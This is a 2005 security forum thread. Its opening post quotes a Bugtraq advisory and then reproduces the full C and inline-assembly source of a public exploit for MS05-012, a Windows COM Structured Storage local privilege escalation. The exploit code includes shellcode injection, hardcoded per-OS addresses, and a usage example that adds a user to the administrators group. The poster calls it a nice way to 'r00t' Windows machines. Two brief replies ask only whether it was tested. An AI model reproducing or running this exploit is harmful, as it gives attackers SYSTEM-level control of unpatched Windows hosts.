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www.waraxe.us Forum Index -> M$ Windows -> M$ Windows COM Structured Storage Local Privilege Escalation
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M$ Windows COM Structured Storage Local Privilege Escalation
PostPosted: Tue May 31, 2005 3:12 pm Reply with quote
waraxe
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Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Look, what i found from bugtraq:

http://www.securityfocus.com/bid/12483/discussion/

Quote:

Microsoft Windows is reported prone to a local privilege escalation vulnerability when processing COM structured storage files. This issue may allow a local attacker to gain elevated privileges on a vulnerable computer.
An attacker with local interactive access may craft an application that triggers this condition and gain SYSTEM privileges on a vulnerable computer.


http://www.securityfocus.com/data/vulnerabilities/exploits/SSExploit.c

Code:

// by Cesar Cerrudo - Argeniss - www.argeniss.com
// MS05-012 - COM Structured Storage Vulnerability - CAN-2005-0047 Exploit
//
// More exploits at www.argeniss.com/products.html
//
// Works on Win2k sp4, WinXP sp2, Win2k3 sp0
// Close all runing programs to avoid possible problems
// If it finds the section and it doesn't work remove section permissions
// from msiexec service process with WinObj or crash the msiexec service and try again
// if offsets don't work, debug and change them

#include <windows.h>
#include <stdio.h>

typedef struct _LSA_UNICODE_STRING { 
   USHORT Length; 
   USHORT MaximumLength;
   PWSTR Buffer;
} UNICODE_STRING;

typedef struct _OBJDIR_INFORMATION {
  UNICODE_STRING          ObjectName;
  UNICODE_STRING          ObjectTypeName;
  BYTE                    Data[1];
} OBJDIR_INFORMATION;

typedef struct _OBJECT_ATTRIBUTES {
    ULONG Length;
    HANDLE RootDirectory;
    UNICODE_STRING *ObjectName;
    ULONG Attributes;
    PVOID SecurityDescriptor;       
    PVOID SecurityQualityOfService; 
} OBJECT_ATTRIBUTES;

#define InitializeObjectAttributes( p, n, a, r, s ) { \
    (p)->Length = sizeof( OBJECT_ATTRIBUTES );          \
    (p)->RootDirectory = r;                             \
    (p)->Attributes = a;                                \
    (p)->ObjectName = n;                                \
    (p)->SecurityDescriptor = s;                        \
    (p)->SecurityQualityOfService = NULL;               \
    }

typedef DWORD (WINAPI* MSIINSTALLPRODUCT)(LPCSTR szPackagePath, LPCSTR szCommandLine);
MSIINSTALLPRODUCT MsiInstallProduct;

typedef DWORD (WINAPI* NTQUERYDIRECTORYOBJECT)( HANDLE, OBJDIR_INFORMATION*, DWORD, DWORD ,DWORD,DWORD*,DWORD* );
NTQUERYDIRECTORYOBJECT NtQueryDirectoryObject;

typedef DWORD (WINAPI* NTOPENDIRECTORYOBJECT)( HANDLE *, DWORD,OBJECT_ATTRIBUTES* );
NTOPENDIRECTORYOBJECT  NtOpenDirectoryObject;


DWORD WINAPI  LoadWinInstaller(LPVOID lpParam)
{
   HMODULE hMsi;

   hMsi = LoadLibrary("msi.dll");
   MsiInstallProduct = (MSIINSTALLPRODUCT)GetProcAddress(hMsi, "MsiInstallProductA");
  //run unistall , without permissions this makes a windows pop up
  //while this window is showing the shared section is created and available on Windows Installer service process
   MsiInstallProduct((char*)lpParam,"REMOVE=ALL");
 
   return 0;
}



int main(int argc, char* argv[])
{

  OBJDIR_INFORMATION *ssinfo  =(OBJDIR_INFORMATION* ) HeapAlloc(GetProcessHeap(), 0, 0x800);

  HANDLE hFile,hThread,hMapFile;
  HMODULE hNtdll ,hKernel;
  DWORD dwThreadId;
  OBJECT_ATTRIBUTES obj;
  WCHAR  * uString=L"\\BaseNamedObjects";
  UNICODE_STRING str;
  DWORD i,a,iStrLen,b=0;
  char sObjName[30],sTmp[50];
  LPVOID lpMapAddress;
  FARPROC pWinExec,pExitThread;
  bool bFound;
  char* sCommand;


  if (!argv[1]||!argv[2]) {
   printf("\nUsage :\n   SSExploit \"Applicatoin to uninstall\" \"command\" \n");
   printf("\nExamples :\n  SSExploit \"c:\\windows\\system32\\webfldrs.msi\" \"cmd.exe\" (cmd.exe will interactively run on Win2k only) \n  SSExploit \"c:\\windows\\system32\\webfldrs.msi\" \"net localgroup administrators /add youruser\" \n");
   exit(0);
  }
   
  iStrLen=strlen(argv[2]);

  if(iStrLen>=65){
   printf("\n\"command\" must be less than 65 chars.\n");
   exit(0);
  }

  sCommand=argv[2];

  hThread = CreateThread(NULL,0,LoadWinInstaller,argv[1],0,&dwThreadId);

  Sleep(3000);

  hNtdll = LoadLibrary("ntdll.dll");   

  NtQueryDirectoryObject = (NTQUERYDIRECTORYOBJECT )GetProcAddress(hNtdll,"NtQueryDirectoryObject");
  NtOpenDirectoryObject = (NTOPENDIRECTORYOBJECT )GetProcAddress(hNtdll,"NtOpenDirectoryObject");
 
  str.Length=wcslen(uString)*2;
  str.MaximumLength =wcslen(uString)*2+2;
  str.Buffer =uString;

  InitializeObjectAttributes (&obj, &str, 0, 0, 00);
  NtOpenDirectoryObject(&hFile,0x20001,&obj);

  printf("\nSearching for Shared Section...\n\n");

  // Get all objects names under \BaseNamedObjects

  if (NtQueryDirectoryObject(hFile,ssinfo,0x800,TRUE,TRUE,&b,&a)==0){
   do{
      bFound=NULL;
      while (NtQueryDirectoryObject(hFile,ssinfo,0x800,TRUE,FALSE,&b,&a)==0){
        //check if it's a section name   
         if (!wcscmp(ssinfo->ObjectTypeName.Buffer ,L"Section")){             
            for (i=0;(i<=wcslen(ssinfo->ObjectName.Buffer))&(i<30);i++){
               sObjName[i]=(char)ssinfo->ObjectName.Buffer[i];
            }
            //check if it's the one we are searching for
            if (!strncmp(sObjName,"DfSharedHeap",12)){     
               bFound=1;
               break;
            }
         }
      }
      if (bFound)
         printf("Shared Section Found: %s\n",sObjName);
      else {
         printf("Shared Section Not Found");
         exit(0);
      }
   
      strcpy(sTmp,"Global\\");
      strcat(sTmp,sObjName);    //append global prefix to support Terminal Services   

      hMapFile = OpenFileMapping(FILE_MAP_WRITE, FALSE,sTmp);
   
      //the shared section name couldn't be the one we are searching for
      if (hMapFile == NULL)
         printf("Could not open Shared Section\n\n");
      else
         printf("Shared Section opened\n\n");
   
   } while (hMapFile == NULL) ;

   lpMapAddress = MapViewOfFile(hMapFile, FILE_MAP_WRITE,0,0,0);
 
   if (lpMapAddress == NULL) {
      printf("Could not map Shared Section");
      exit(0);
   }
   else
      printf("Shared Section Mapped\n\nOverwriting Pointer and Inyecting Shellcode...\n\n");

   hKernel=LoadLibrary("Kernel32.dll");
   
   pWinExec=GetProcAddress(hKernel,"WinExec");
   pExitThread=GetProcAddress(hKernel,"ExitThread");

   _asm{
         
      mov eax,fs:[30h]   // get pointer to PEB
      mov eax,[eax+0A8h] // get OS minor version
      cmp eax,0x0
      jz W2ksp4
      cmp eax,0x1       
      jz WinXPsp2
      jmp Win2K3   // address of section seems static on same OS version
               
   W2Ksp4:
      mov eax,0x0101FFF0 // address of begining of section - 0x10 used to overwrite pointer
      mov edx,0x01020004 // address of shellcode
      jmp Done
   
   WinXPsp2:
      mov eax,0x0086FFF0 // address of begining of section - 0x10 used to overwrite pointer
      mov edx,0x00870004 // address of shellcode
      jmp Done
   
   Win2K3:
      mov eax,0x007BFFF0 // address of begining of section - 0x10 used to overwrite pointer
      mov edx,0x007C0004 // address of shellcode

   Done:
      mov ebx,lpMapAddress
      mov ecx, 0x1000

   l00p:                  // overwrite section data, so overwriten structures will point to shellcode
      mov dword ptr[ebx],eax
      sub ecx,0x4
      add ebx,0x4
      cmp ecx,0x0
      jnz l00p

      mov ebx,lpMapAddress  //address of shellcode
      mov dword ptr[ebx],edx                   
      
   //start copying shellcode
   
      lea esi, Shellcode
      lea edi, [ebx+4]
      lea ecx, End
      sub ecx, esi
      push esi
      push edi
      cld
      rep movsb

      pop edi
      pop esi
      push edi
      lea ecx, CommandBuf
      sub ecx, esi
      add edi, ecx
      mov esi, sCommand
      mov ecx, iStrLen
      rep movsb
      mov [edi], 0x00

      pop edi
      mov esi, pWinExec
      mov [edi+0x5], esi

      mov esi, pExitThread
      mov [edi+0x9], esi

   }

   printf("Command should have been executed ;)\n");
   CloseHandle(hMapFile);

  }
  else printf("Couldn't get object names \n");   

  return 0;

   _asm{

   Shellcode:
      call getDelta
            // this gets overwrited
      mov ax,0xffff   
      mov ax,0xffff   

   CommandBuf:               // this gets overwrited
      mov dword ptr[eax],0x55555555
      mov dword ptr[eax],0x55555555   
      mov dword ptr[eax],0x55555555   
      mov dword ptr[eax],0x55555555   
      mov dword ptr[eax],0x55555555   
      mov dword ptr[eax],0x55555555   
      mov dword ptr[eax],0x55555555   
      mov dword ptr[eax],0x55555555   
      mov dword ptr[eax],0x55555555   
      mov dword ptr[eax],0x55555555   
      mov dword ptr[eax],0x55555555   

   getDelta:
      pop edx                     // Get shellcode/shared section pointer
      push edx                  // save edx

      push 0x1                  // push 0x0 for hidden window
      lea eax, [edx+0x8]               
      push eax                  // Command offset
      call [edx]                  // Call WinExec
       
      pop edx
      call [edx+0x4]               // Call ExitThread to avoid msiexec service to crash

   End:
   }
}



Seems like nice way to r00t the M$ b0x Wink
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PostPosted: Wed Jun 01, 2005 5:23 pm Reply with quote
LINUX
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Joined: May 24, 2004
Posts: 404
Location: Caiman




waraxe you test this exploit ?
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PostPosted: Thu Jun 02, 2005 1:25 am Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




LINUX wrote:
waraxe you test this exploit ?


No, i have not yet tested this sploit.
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M$ Windows COM Structured Storage Local Privilege Escalation
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